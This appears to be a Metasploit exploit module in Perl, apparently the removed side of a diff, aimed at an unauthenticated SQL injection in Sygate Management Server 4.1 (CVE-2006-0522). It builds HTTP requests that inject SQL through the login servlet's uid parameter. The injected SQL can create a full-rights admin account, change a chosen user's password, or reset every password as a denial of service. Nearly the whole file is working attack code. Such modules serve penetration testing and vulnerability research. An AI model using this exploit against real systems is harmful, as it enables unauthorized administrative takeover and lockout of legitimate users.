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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- ##
- #
- # Affected product : Sygate Management Server v4.1 (at least)
- #
- # Vulnerability : SQL-Injection in login page
- # Required privs : Network access to the admin interface (HTTP)
- # Impact : Raw access to the database
- # Sample payload : Create a valid admin account directly in the database
- #
- # Editor status : Official patch available
- # http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html
- #
- ##
-
- package Msf::Exploit::sygate_policy_manager;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
- use vars qw{$HAS_SHA1};
-
- BEGIN
- {
- $HAS_SHA1 = 0;
-
- if (eval('require Digest::SHA1')) {
- eval('use Digest::SHA1 qw(sha1);');
- $HAS_SHA1 = 1;
- }
- }
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'Sygate Management Server SQL Injection',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'Nicob <nicob[at]nicob.net>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32' ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'LOGIN' => [0, 'LOGIN', 'The username to create/modify', 'reporting'],
- 'PASSWD' => [0, 'PASSWD', 'The encrypted password of this user', 'my_passwd'],
- 'SERVLET' => [1, 'DATA', 'Full path of the servlet', '/servlet/Sygate.Servlet.login'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a non authenticated SQL-Injection vulnerability in the
- Sygate Management Server (now Symantec Policy Manager), in order to create a new
- admin account or change the password of an existing one. Version 4.1 is known to be vulnerable.
- Version 5 is not vulnerable.
- }),
-
- 'Refs' =>
- [
- ['URL', 'http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html'],
- ['CVE', '2006-0522'],
- ['OSVDB', '22883'],
- ['BID', '16452'],
- ],
-
- 'Targets' =>
- [
- ['Change a specific users password', 'change_user_passwd'],
- ['Create a new administrative account', 'add_account'],
- ['Reset all passwords (denial of service)', 'reset_all'],
- ],
-
- 'DefaultTarget' => 0,
-
- 'Keys' => ['sygate'],
-
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $vhost = $self->VHost;
- my $target_port = $self->GetVar('RPORT');
- my $servlet = $self->GetVar('SERVLET');
-
- my $request =
- "GET $servlet?uid=test1&up=test2 HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Host: $vhost:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $self->PrintLine("[*] Establishing a connection to the target...");
-
- $s->Send($request);
- my $results = $s->Recv(-1, 20);
- $s->Close();
-
- if ($results =~ /HTTP\/1\..\s+200/) {
-
- $self->PrintLine("[*] Vulnerable server detected!");
- return $self->CheckCode('Confirmed');
-
- } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {
-
- $self->PrintLine("[*] The Sygate Policy Manager servlet was not found.");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] Generic error...");
- return $self->CheckCode('Generic');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $vhost = $self->VHost;
- my $target_port = $self->GetVar('RPORT');
- my $servlet = $self->GetVar('SERVLET');
- my $login = $self->GetVar('LOGIN');
- my $passwd = $self->GetVar('PASSWD');
- my $target = $self->Targets->[$self->GetVar('TARGET')];
-
- if (! $HAS_SHA1) {
- $self->PrintLine("[*] Please install the Digest-SHA1 module to use this exploit");
- return;
- }
-
- # The 'Password' field is a hex-encoded SHA-1 digest of the "user+password" string
- my $sha1 = sha1($login.$passwd);
- $sha1 =~ s/./sprintf("%02x", ord($&))/ges;
- $sha1 = "0x".uc($sha1);
-
- # Maximum level of privileges
- my $privs = "255";
-
-
- my %sqlpayloads =
- (
- # Create a new valid admin account (in SMS v4.1) -- [BUG] : Can't access the Users panel :-(
- 'add_account' =>
- "insert into CMS35.Admin (RecUpdateTime,LoginName,AdminNickName,Password,AdminRights,".
- "AdminEmail,FailedLogin,AlertOnFailure,AlertFailureThreshold,OnlineState) ".
- "values (getutcdate(),'$login','$login',$sha1,'$privs','',0,0,0,0)",
-
- # Reset the password of every account to "0x4141" (in SMS v4.1) -- Denial of Service only !
- 'reset_all' =>
- "update CMS35.Admin set Password=cast('AA' as varbinary)",
-
- # Change the password of the selected account (in SMS v4.1) -- Yeah, full access to 'admin' !
- 'change_user_passwd' =>
- "update CMS35.Admin set Password=$sha1 where LoginName='$login'",
- );
-
- my $payload = $sqlpayloads{ $target->[1] };
-
- # Inject our payload
- $servlet = $servlet."?uid=".Pex::Text::URLEncode("';$payload -- ")."&up=foo";
-
- my $request =
- "GET $servlet HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Host: $vhost:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the target...");
- $self->PrintLine(' ');
- $s->Send($request);
- my $results = $s->Recv(-1, 20);
-
- if ($results =~ /HTTP\/1\.. 200 OK/im) {
- # Seems to be fine ;-)
- $self->PrintLine("OK. Now try to log with user '$login' and passwd '$passwd'");
- } else {
- $self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
- }
-
- $s->Close();
- return;
- }
-
- sub VHost {
- my $self = shift;
- my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
- return $name;
- }
-
- 1;
-